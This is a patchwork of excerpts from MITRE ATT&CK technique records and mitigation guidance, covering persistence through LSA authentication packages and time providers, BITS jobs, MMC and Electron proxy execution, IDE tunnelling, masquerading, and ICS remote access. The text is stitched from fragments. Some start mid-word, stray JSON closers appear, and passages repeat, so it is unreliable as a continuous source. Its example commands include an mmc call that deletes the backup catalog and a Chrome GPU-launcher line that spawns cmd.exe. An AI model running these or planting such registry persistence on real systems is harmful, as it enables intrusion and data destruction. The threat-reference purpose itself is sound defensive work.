Authenticator.\n\nLinux Privilege Management:\n\n- sudo configuration, SELinux, AppArmor.\n\nJust-In-Time Access:\n\n- Azure Privileged Identity Management (PIM), AWS IAM Roles with session constraints, GCP Identity-Aware Proxy.\n\n## Principle\nAgainst T1556.007, prefer preventive controls that remove the preconditions over purely detective controls, and layer the two.\n\n## Reference: ATT&CK T1547.002 Authentication Package\n**ATT&CK T1547.002 Authentication Package (full record).** Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.\n\nAdversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location `HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\` with the key value of `\"Authentication Packages\"=<target binary>`. The binary will then be executed by the system when the authentication packages are loaded.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1547 Boot or Logon Autostart Execution - Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.\n\n**Mitigations.** - **Privileged Process Integrity**: Privileged Process Integrity focuses on defending highly privileged processes (e.g., system services, antivirus, or authentication processes) from tampering, injection, or compromise by adversaries. These processes often interact with critical components, making them prime targets for techniques like code injection, privilege escalation, and process manipulation. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detect LSA Authentication Package Persistence via Registry and LSASS DLL Load**\n  - Registry modification of the LSA Authentication Packages key followed by LSASS loading a non-standard or unsigned DLL. This includes unusual write access to `HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa`, especially during non-installation timeframes. Correlated with `lsass.exe` loading DLLs not present in baseline or lacking valid signatures. […]\n\n## Reference: ATT&CK T1547.003 Time Providers\n**ATT&CK T1547.003 Time Providers (full record).** Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains. W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of `HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\`. The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.\n\nAdversaries may abuse this architecture to establish persistence, specifically by creating a new arbitrarily named subkey pointing to a malicious DLL in the `DllName` value. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1547 Boot or Logon Autostart Execution - Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.\n\n**Mitigations.** - **Restrict Registry Permissions**: Restricting registry permissions involves configuring access control settings for sensitive registry keys and hives to ensure that only authorized users or processes can make modifications. By limiting access, organizations can prevent unauthorized changes that adversaries might use for persistence, privilege escalation, or defense evasion. This mitigation can be implemented through the following measures:\n- **Restrict File and Directory Permissions**: Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files. […]"}]}

By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1195 Supply Chain Compromise - Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\n**Mitigations.** - **Boot Integrity**: Boot Integrity ensures that a system starts securely by verifying the integrity of its boot process, operating system, and associated components. This mitigation focuses on leveraging secure boot mechanisms, hardware-rooted trust, and runtime integrity checks to prevent tampering during the boot sequence. It is designed to thwart adversaries attempting to modify system firmware, bootloaders, or critical OS components. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Hardware Supply Chain Compromise Detection via Host Status & Boot Integrity Checks**\n  - Detects tampered hardware or firmware via anomalous host status telemetry. Behavioral chain: (1) Pre-OS or firmware components exhibit unexpected version changes, signature failures, or modified boot paths; (2) System management/firmware tools log hardware inventory drift; (3) Sensor health telemetry or boot attestation events fail baseline checks; (4) Follow-on process execution from altered firmware or unknown drivers after boot.

Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through PowerShell and the BITSAdmin tool.\n\nAdversaries may abuse BITS to download (e.g. Ingress Tool Transfer), execute, and even clean up after running malicious code (e.g. Indicator Removal). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).\n\nBITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol.\n\n**Classification.** - Tactics: stealth, persistence, execution\n- Platforms: Windows\n\n**Mitigations.** - **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation.

Access through trusted third party relationship abuses an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.\n\nOrganizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, Valid Accounts used by the other party for access to internal network systems may be compromised and used.\n\nIn Office 365 environments, organizations may grant Microsoft partners or resellers delegated administrator permissions. By compromising a partner or reseller account, an adversary may be able to leverage existing delegated administrator relationships or send new delegated administrator offers to clients in order to gain administrative control over the victim tenant.\n\n**Classification.** - Tactics: initial-access\n- Platforms: IaaS, Identity Provider, Linux, macOS, Office Suite, SaaS, Windows\n\n**Mitigations.** - **Multi-factor Authentication**: Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access.

These can be maintained in a number of ways. For example, Microsoft Entra ID includes three options for synchronizing identities between Active Directory and Entra ID:\n\n* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Entra ID, allowing authentication to Entra ID to take place entirely in the cloud\n* Pass Through Authentication (PTA), in which Entra ID authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory\n* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Entra ID\n\nAD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users’ identity and privileges.\n\nBy modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Entra ID, as well as records user credentials. In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.\n\nIn some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Entra ID tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Entra ID environment as any user.\n\n## Reference: ATT&CK T1218.014 MMC\n**ATT&CK T1218.014 MMC (full record).** Adversaries may abuse mmc.exe to proxy execution of malicious.msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt. MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created.msc files to manage system configuration.\n\nFor example, `mmc C:\\Users\\foo\\admintools.msc /a` will open a custom, saved console msc file in author mode. Another common example is `mmc gpedit.msc`, which will open the Group Policy Editor application window.\n\nAdversaries may use MMC commands to perform malicious tasks. For example, `mmc wbadmin.msc delete catalog -quiet` deletes the backup catalog on the system (i.e. Inhibit System Recovery) without prompts to the user (Note: `wbadmin.msc` may only be present by default on Windows Server operating systems).\n\nAdversaries may also abuse MMC to execute malicious.msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a Component Object Model class object. Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey. Once the.msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: `mmc.exe -Embedding C:\\path\\to\\test.msc`.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n- Sub-technique of: T1218 System Binary Proxy Execution - Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.\n\n**Mitigations.** - **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries.

The Electron framework hosts many common applications such as Signal, Slack, and Microsoft Teams. Originally developed by GitHub, Electron is a cross-platform desktop application development framework that employs web technologies like JavaScript, HTML, and CSS. The Chromium engine is used to display web content and Node.js runs the backend code.\n\nDue to the functional mechanics of Electron (such as allowing apps to run arbitrary commands), adversaries may also be able to perform malicious functions in the background potentially disguised as legitimate tools within the framework. For example, the abuse of `teams.exe` and `chrome.exe` may allow adversaries to execute malicious commands as child processes of the legitimate application (e.g., `chrome.exe --disable-gpu-sandbox --gpu-launcher=\"C:\\Windows\\system32\\cmd.exe /c calc.exe`).\n\nAdversaries may also execute malicious content by planting malicious JavaScript within Electron applications.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1218 System Binary Proxy Execution - Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.\n\n**Mitigations.** - **Exploit Protection**: Deploy capabilities that detect, block, and mitigate conditions indicative of software exploits. These capabilities aim to prevent exploitation by addressing vulnerabilities, monitoring anomalous behaviors, and applying exploit-mitigation techniques to harden systems and software.\n- **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n- **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms.

Remote access tools create a session between two trusted hosts through a graphical interface, a command line interaction, a protocol tunnel via development or management software, or hardware-level access such as KVM (Keyboard, Video, Mouse) over IP solutions. Desktop support software (usually graphical interface) and remote management software (typically command line interface) allow a user to control a computer remotely as if they are a local user inheriting the user or software permissions. This software is commonly used for troubleshooting, software installation, and system management. Adversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access.\n\nRemote access tools may be installed and used post-compromise as an alternate communications channel for redundant access or to establish an interactive remote desktop session with the target system. It may also be used as a malware component to establish a reverse connection or back-connect to a service or adversary-controlled system.\n\nInstallation of many remote access tools may also include persistence (e.g., the software's installation routine creates a Windows Service).

IDE tunneling combines SSH, port forwarding, file sharing, and debugging into a single secure connection, letting developers work on remote systems as if they were local. Unlike SSH and port forwarding, IDE tunneling encapsulates an entire session and may use proprietary tunneling protocols alongside SSH, allowing adversaries to blend in with legitimate development workflows. Some IDEs, like Visual Studio Code, also provide CLI tools (e.g., `code tunnel`) that adversaries may use to programmatically establish tunnels and generate web-accessible URLs for remote access. These tunnels can be authenticated through accounts such as GitHub, enabling the adversary to control the compromised system via a legitimate developer portal.\n\nAdditionally, adversaries may use IDE tunneling for persistence. Some IDEs, such as Visual Studio Code and JetBrains, support automatic reconnection. Adversaries may configure the IDE to auto-launch at startup, re-establishing the tunnel upon execution. Compromised developer machines may also be exploited as jump hosts to move further into the network.\n\nIDE tunneling tools may be built-in or installed as IDE Extensions.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1219 Remote Access Tools - An adversary may use legitimate remote access tools to establish an interactive command and control channel within a network.\n\n**Mitigations.** - **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms.

By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files.\n- **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n- **Code Signing**: Code Signing is a security process that ensures the authenticity and integrity of software by digitally signing executables, scripts, and other code artifacts. It prevents untrusted or malicious code from executing by verifying the digital signatures against trusted sources.

A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: `File.txt.exe` may render in some views as just `File.txt`). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.\n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain Initial Access into a user’s system via Spearphishing Attachment then User Execution. For example, an executable file attachment named `Evil.txt.exe` may display as `Evil.txt` to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.\n\nCommon file types, such as text files (.txt,.doc, etc.) and image files (.jpg,.gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as.exe,.lnk,.hta, and.scr, often appear as the second extension and true file type.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.

Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file, is ` 0xFF 0xD8` and the file extension is either `.JPE`, `.JPEG` or `.JPG`.\n\nAdversaries may edit the header’s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., Ingress Tool Transfer) and stored (e.g., Upload Malware) so that adversaries may move their malware without triggering detections.\n\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of `test.gif`. A user may not know that a file is malicious due to the benign appearance and file extension.\n\nPolyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.

This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n\nRemove Legacy Software:\n\n- Use Case: Disable or remove older versions of software that no longer receive updates or security patches (e.g., legacy Java, Adobe Flash).\n- Implementation: A company removes Flash Player from all employee systems after it has reached its end-of-life date.\n\nDisable Unused Features:\n\n- Use Case: Turn off unnecessary operating system features like SMBv1, Telnet, or RDP if they are not required.\n- Implementation: Disable SMBv1 in a Windows environment to mitigate vulnerabilities like EternalBlue.\n\nControl Applications Installed by Users:\n\n- Use Case: Prevent users from installing unauthorized software via group policies or other management tools.\n- Implementation: Block user installations of unauthorized file-sharing applications (e.g., BitTorrent clients) in an enterprise environment.\n\nRemove Unnecessary Services:\n\n- Use Case: Identify and disable unnecessary default services running on endpoints, servers, or network devices.\n- Implementation: Disable unused administrative shares (e.g., C$, ADMIN$) on workstations.\n\nRestrict Add-ons and Plugins:\n\n- Use Case: Remove or disable browser plugins and add-ons that are not needed for business purposes.\n- Implementation: Disable Java and ActiveX plugins in web browsers to prevent drive-by attacks.\n\n## Software Configuration\nSoftware configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats. These changes help reduce the attack surface, enforce best practices, and protect sensitive data. This mitigation can be implemented through the following measures:\n\nConduct a Security Review of Application Settings:\n\n- Review the software documentation to identify recommended security configurations.\n- Compare default settings against organizational policies and compliance requirements.\n\nImplement Access Controls and Permissions:\n\n- Restrict access to sensitive features or data within the software.\n- Enforce least privilege principles for all roles and accounts interacting with the software.\n\nEnable Logging and Monitoring:\n\n- Configure detailed logging for key application events such as authentication failures, configuration changes, or unusual activity.\n- Integrate logs with a centralized monitoring solution, such as a SIEM.\n\nUpdate and Patch Software Regularly:\n\n- Ensure the software is kept up-to-date with the latest security patches to address known vulnerabilities.\n- Use automated patch management tools to streamline the update process.\n\nDisable Unnecessary Features or Services:\n\n- Turn off unused functionality or components that could introduce vulnerabilities, such as debugging interfaces or deprecated APIs.\n\nTest Configuration Changes:\n\n- Perform configuration changes in a staging environment before applying them in production.\n- Conduct regular audits to ensure that settings remain aligned with security policies.\n\n*Tools for Implementation*\n\nConfiguration Management Tools:\n\n- Ansible: Automates configuration changes across multiple applications and environments.\n- Chef: Ensures consistent application settings through code-based configuration management.\n- Puppet: Automates software configurations and audits changes for compliance.\n\nSecurity Benchmarking Tools:\n\n- CIS-CAT: Provides benchmarks and audits for secure software configurations.\n- Aqua Security Trivy: Scans containerized applications for configuration issues.\n\nVulnerability Management Solutions:\n\n- Nessus: Identifies misconfigurations and suggests corrective actions.\n\nLogging and Monitoring Tools:\n\n- Splunk: Aggregates and analyzes application logs to detect suspicious activity.\n\n## Application Isolation and Sandboxing\nApplication Isolation and Sandboxing refers to the technique of restricting the execution of code to a controlled and isolated environment (e.g., a virtual environment, container, or sandbox). This method prevents potentially malicious code from affecting the rest of the system or network by limiting access to sensitive resources and critical operations. The goal is to contain threats and minimize their impact. This mitigation can be implemented through the following measures:\n\nBrowser Sandboxing:\n\n- Use Case: Implement browser sandboxing to isolate untrusted web content and prevent malicious web pages or scripts from accessing sensitive system resources or initiating unauthorized downloads.\n- Implementation: Use browsers with built-in sandboxing features (e.g., Google Chrome, Microsoft Edge) or deploy enhanced browser security frameworks that limit the execution scope of active content. Consider controls that monitor or restrict script-based file generation and downloads commonly abused in evasion techniques like HTML smuggling.\n\nApplication Virtualization:\n\n- Use Case: Deploy critical or high-risk applications in a virtualized environment to ensure any compromise does not affect the host system.\n- Implementation: Use application virtualization platforms to run applications in isolated environments.\n\nEmail Attachment Sandboxing:\n\n- Use Case: Route email attachments to a sandbox environment to detect and block malware before delivering emails to end-users.\n- Implementation: Integrate security solutions with sandbox capabilities to analyze email attachments.\n\nEndpoint Sandboxing:\n\n- Use Case: Run all downloaded files and applications in a restricted environment to monitor their behavior for malicious activity.\n- Implementation: Use endpoint protection tools for sandboxing at the endpoint level.\n\n## Privileged Account Management\nPrivileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n\nAccount Permissions and Roles:\n\n- Implement RBAC and least privilege principles to allocate permissions securely.\n- Use tools like Active Directory Group Policies to enforce access restrictions.\n\nCredential Security:\n\n- Deploy password vaulting tools like CyberArk, HashiCorp Vault, or KeePass for secure storage and rotation of credentials.\n- Enforce password policies for complexity, uniqueness, and expiration using tools like Microsoft Group Policy Objects (GPO).\n\nMulti-Factor Authentication (MFA):\n\n- Enforce MFA for all privileged accounts using Duo Security, Okta, or Microsoft Azure AD MFA.\n\nPrivileged Access Management (PAM):\n\n- Use PAM solutions like CyberArk, BeyondTrust, or Thycotic to manage, monitor, and audit privileged access.\n\nAuditing and Monitoring:\n\n- Integrate activity monitoring into your SIEM (e.g., Splunk or QRadar) to detect and alert on anomalous privileged account usage.\n\nJust-In-Time Access:\n\n- Deploy JIT solutions like Azure Privileged Identity Management (PIM) or configure ephemeral roles in AWS and GCP to grant time-limited elevated permissions.\n\n*Tools for Implementation*\n\nPrivileged Access Management (PAM):\n\n- CyberArk, BeyondTrust, Thycotic, HashiCorp Vault.\n\nCredential Management:\n\n- Microsoft LAPS (Local Admin Password Solution), Password Safe, HashiCorp Vault, KeePass.\n\nMulti-Factor Authentication:\n\n- Duo Security, Okta, Microsoft Azure MFA, Google Authenticator.\n\nLinux Privilege Management:\n\n- sudo configuration, SELinux, AppArmor.\n\nJust-In-Time Access:\n\n- Azure Privileged Identity Management (PIM), AWS IAM Roles with session constraints, GCP Identity-Aware Proxy.\n\n## Behavior Prevention on Endpoint\nBehavior Prevention on Endpoint refers to the use of technologies and strategies to detect and block potentially malicious activities by analyzing the behavior of processes, files, API calls, and other endpoint events. Rather than relying solely on known signatures, this approach leverages heuristics, machine learning, and real-time monitoring to identify anomalous patterns indicative of an attack. This mitigation can be implemented through the following measures:\n\nSuspicious Process Behavior:\n\n- Implementation: Use Endpoint Detection and Response (EDR) tools to monitor and block processes exhibiting unusual behavior, such as privilege escalation attempts.\n- Use Case: An attacker uses a known vulnerability to spawn a privileged process from a user-level application. The endpoint tool detects the abnormal parent-child process relationship and blocks the action.\n\nUnauthorized File Access:\n\n- Implementation: Leverage Data Loss Prevention (DLP) or endpoint tools to block processes attempting to access sensitive files without proper authorization.\n- Use Case: A process tries to read or modify a sensitive file located in a restricted directory, such as /etc/shadow on Linux or the SAM registry hive on Windows. The endpoint tool identifies this anomalous behavior and prevents it.\n\nAbnormal API Calls:\n\n- Implementation: Implement runtime analysis tools to monitor API calls and block those associated with malicious activities.\n- Use Case: A process dynamically injects itself into another process to hijack its execution. The endpoint detects the abnormal use of APIs like `OpenProcess` and `WriteProcessMemory` and terminates the offending process.\n\nExploit Prevention:\n\n- Implementation: Use behavioral exploit prevention tools to detect and block exploits attempting to gain unauthorized access.\n- Use Case: A buffer overflow exploit is launched against a vulnerable application. The endpoint detects the anomalous memory write operation and halts the process.\n\n## Application Developer Guidance\nApplication Developer Guidance focuses on providing developers with the knowledge, tools, and best practices needed to write secure code, reduce vulnerabilities, and implement secure design principles. By integrating security throughout the software development lifecycle (SDLC), this mitigation aims to prevent the introduction of exploitable weaknesses in applications, systems, and APIs. This mitigation can be implemented through the following measures:\n\nPreventing SQL Injection (Secure Coding Practice):\n\n- Implementation: Train developers to use parameterized queries or prepared statements instead of directly embedding user input into SQL queries.\n- Use Case: A web application accepts user input to search a database. By sanitizing and validating user inputs, developers can prevent attackers from injecting malicious SQL commands.\n\nCross-Site Scripting (XSS) Mitigation:\n\n- Implementation: Require developers to implement output encoding for all user-generated content displayed on a web page.\n- Use Case: An e-commerce site allows users to leave product reviews. Properly encoding and escaping user inputs prevents malicious scripts from being executed in other users’ browsers.\n\nSecure API Design:\n\n- Implementation: Train developers to authenticate all API endpoints and avoid exposing sensitive information in API responses.\n- Use Case: A mobile banking application uses APIs for account management. By enforcing token-based authentication for every API call, developers reduce the risk of unauthorized access.\n\nStatic Code Analysis in the Build Pipeline:\n\n- Implementation: Incorporate tools into CI/CD pipelines to automatically scan for vulnerabilities during the build process.\n- Use Case: A fintech company integrates static analysis tools to detect hardcoded credentials in their source code before deployment.\n\nThreat Modeling in the Design Phase:\n\n- Implementation: Use frameworks like STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege) to assess threats during application design.\n- Use Case: Before launching a customer portal, a SaaS company identifies potential abuse cases, such as session hijacking, and designs mitigations like secure session management.\n\n**Tools for Implementation**:\n\n- Static Code Analysis Tools: Use tools that can scan for known vulnerabilities in source code.\n- Dynamic Application Security Testing (DAST): Use tools like Burp Suite or OWASP ZAP to simulate runtime attacks and identify vulnerabilities.\n- Secure Frameworks: Recommend secure-by-default frameworks (e.g., Django for Python, Spring Security for Java) that enforce security best practices.\n\n## Principle\nAgainst T1559, prefer preventive controls that remove the preconditions over purely detective controls, and layer the two."}]}

This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Detect Abuse of Inter-Process Communication (T1559)**\n  - Detects anomalous use of COM, DDE, or named pipes for execution. Correlates creation or access of IPC mechanisms (e.g., named pipes, COM objects) with unusual parent-child process relationships or code injection patterns (e.g., Office spawning cmd.exe via DDE).

Conditional access policies are additional verifications used by identity providers and identity and access management systems to determine whether a user should be granted access to a resource.\n\nFor example, in Entra ID, Okta, and JumpCloud, users can be denied access to applications based on their IP address, device enrollment status, and use of multi-factor authentication. In some cases, identity providers may also support the use of risk-based metrics to deny sign-ins based on a variety of indicators. In AWS and GCP, IAM policies can contain `condition` attributes that verify arbitrary constraints such as the source IP, the date the request was made, and the nature of the resources or regions being requested. These measures help to prevent compromised credentials from resulting in unauthorized access to data or resources, as well as limit user permissions to only those required.\n\nBy modifying conditional access policies, such as adding additional trusted IP ranges, removing Multi-Factor Authentication requirements, or allowing additional Unused/Unsupported Cloud Regions, adversaries may be able to ensure persistent access to accounts and circumvent defensive measures.\n\n**Classification.** - Tactics: defense-impairment, persistence, credential-access\n- Platforms: IaaS, Identity Provider\n- Sub-technique of: T1556 Modify Authentication Process - Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts.\n\n**Mitigations.** - **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation.

These services are often used to allow operators to interact with systems remotely within the network, some examples are RDP, SMB, SSH, and other similar mechanisms.\n\nRemote services could be used to support remote access, data transmission, authentication, name resolution, and other remote functions. Further, remote services may be necessary to allow operators and administrators to configure systems within the network from their engineering or management workstations. An adversary may use this technique to access devices which may be dual-homed to multiple network segments, and can be used for Program Download or to execute attacks on control devices directly through Valid Accounts.\n\nSpecific remote services (RDP & VNC) may be a precursor to enable Graphical User Interface execution on devices such as HMIs or engineering workstation software.\n\nBased on incident data, CISA and FBI assessed that Chinese state-sponsored actors also compromised various authorized remote access channels, including systems designed to transfer data and/or allow access between corporate and ICS networks.\n\n**Classification.** - Tactics: initial-access, lateral-movement\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Software Process and Device Authentication**: Require the authentication of devices and software processes where appropriate. Devices that connect remotely to other systems should require strong authentication to prevent spoofing of communications. Furthermore, software processes should also require authentication when accessing APIs.\n- **Authorization Enforcement**: The device or system should restrict read, manipulate, or execute privileges to only authenticated users who require access based on approved security policies. Role-based Access Control (RBAC) schemes can help reduce the overhead of assigning permissions to the large number of devices within an ICS. For example, IEC 62351 provides examples of roles used to support common system operations within the electric power sector, while IEEE 1686 defines standard permissions for users of IEDs.\n- **Network Segmentation**: Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. […]\n\n## Reference: ATT&CK T0887 Wireless Sniffing\n**ATT&CK T0887 Wireless Sniffing (full record).** Adversaries may seek to capture radio frequency (RF) communication used for remote control and reporting in distributed environments. RF communication frequencies vary between 3 kHz to 300 GHz, although are commonly between 300 MHz to 6 GHz. The wavelength and frequency of the signal affect how the signal propagates through open air, obstacles (e.g. walls and trees) and the type of radio required to capture them. These characteristics are often standardized in the protocol and hardware and may have an effect on how the signal is captured. Some examples of wireless protocols that may be found in cyber-physical environments are: WirelessHART, Zigbee, WIA-FA, and 700 MHz Public Safety Spectrum.\n\nAdversaries may capture RF communications by using specialized hardware, such as software defined radio (SDR), handheld radio, or a computer with radio demodulator tuned to the communication frequency. Information transmitted over a wireless medium may be captured in-transit whether the sniffing device is the intended destination or not. This technique may be particularly useful to an adversary when the communications are not encrypted.\n\nIn the 2017 Dallas Siren incident, it is suspected that adversaries likely captured wireless command message broadcasts on a 700 MHz frequency during a regular test of the system. These messages were later replayed to trigger the alarm systems.\n\n**Classification.** - Tactics: discovery, collection\n- Platforms: Embedded, Windows, Linux\n\n**Mitigations.** - **Minimize Wireless Signal Propagation**: Wireless signals frequently propagate outside of organizational boundaries, which provide opportunities for adversaries to monitor or gain unauthorized access to the wireless network. To minimize this threat, organizations should implement measures to detect, understand, and reduce unnecessary RF propagation.\n- **Encrypt Network Traffic**: Utilize strong cryptographic techniques and protocols to prevent eavesdropping on network communications. […]\n\n## Reference: ATT&CK T0888 Remote System Information Discovery\n**ATT&CK T0888 Remote System Information Discovery (full record).** An adversary may attempt to get detailed information about remote systems and their peripherals, such as make/model, role, and configuration. Adversaries may use information from Remote System Information Discovery to aid in targeting and shaping follow-on behaviors. For example, the system's operational role and model information can dictate whether it is a relevant target for the adversary's operational objectives. In addition, the system's configuration may be used to scope subsequent technique usage.\n\nRequests for system information are typically implemented using automation and management protocols and are often automatically requested by vendor software during normal operation. This information may be used to tailor management actions, such as program download and system or module firmware.

These changes help reduce the attack surface, enforce best practices, and protect sensitive data. This mitigation can be implemented through the following measures:\n- **Application Isolation and Sandboxing**: Application Isolation and Sandboxing refers to the technique of restricting the execution of code to a controlled and isolated environment (e.g., a virtual environment, container, or sandbox). This method prevents potentially malicious code from affecting the rest of the system or network by limiting access to sensitive resources and critical operations. The goal is to contain threats and minimize their impact. This mitigation can be implemented through the following measures:\n- **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n- **Behavior Prevention on Endpoint**: Behavior Prevention on Endpoint refers to the use of technologies and strategies to detect and block potentially malicious activities by analyzing the behavior of processes, files, API calls, and other endpoint events.

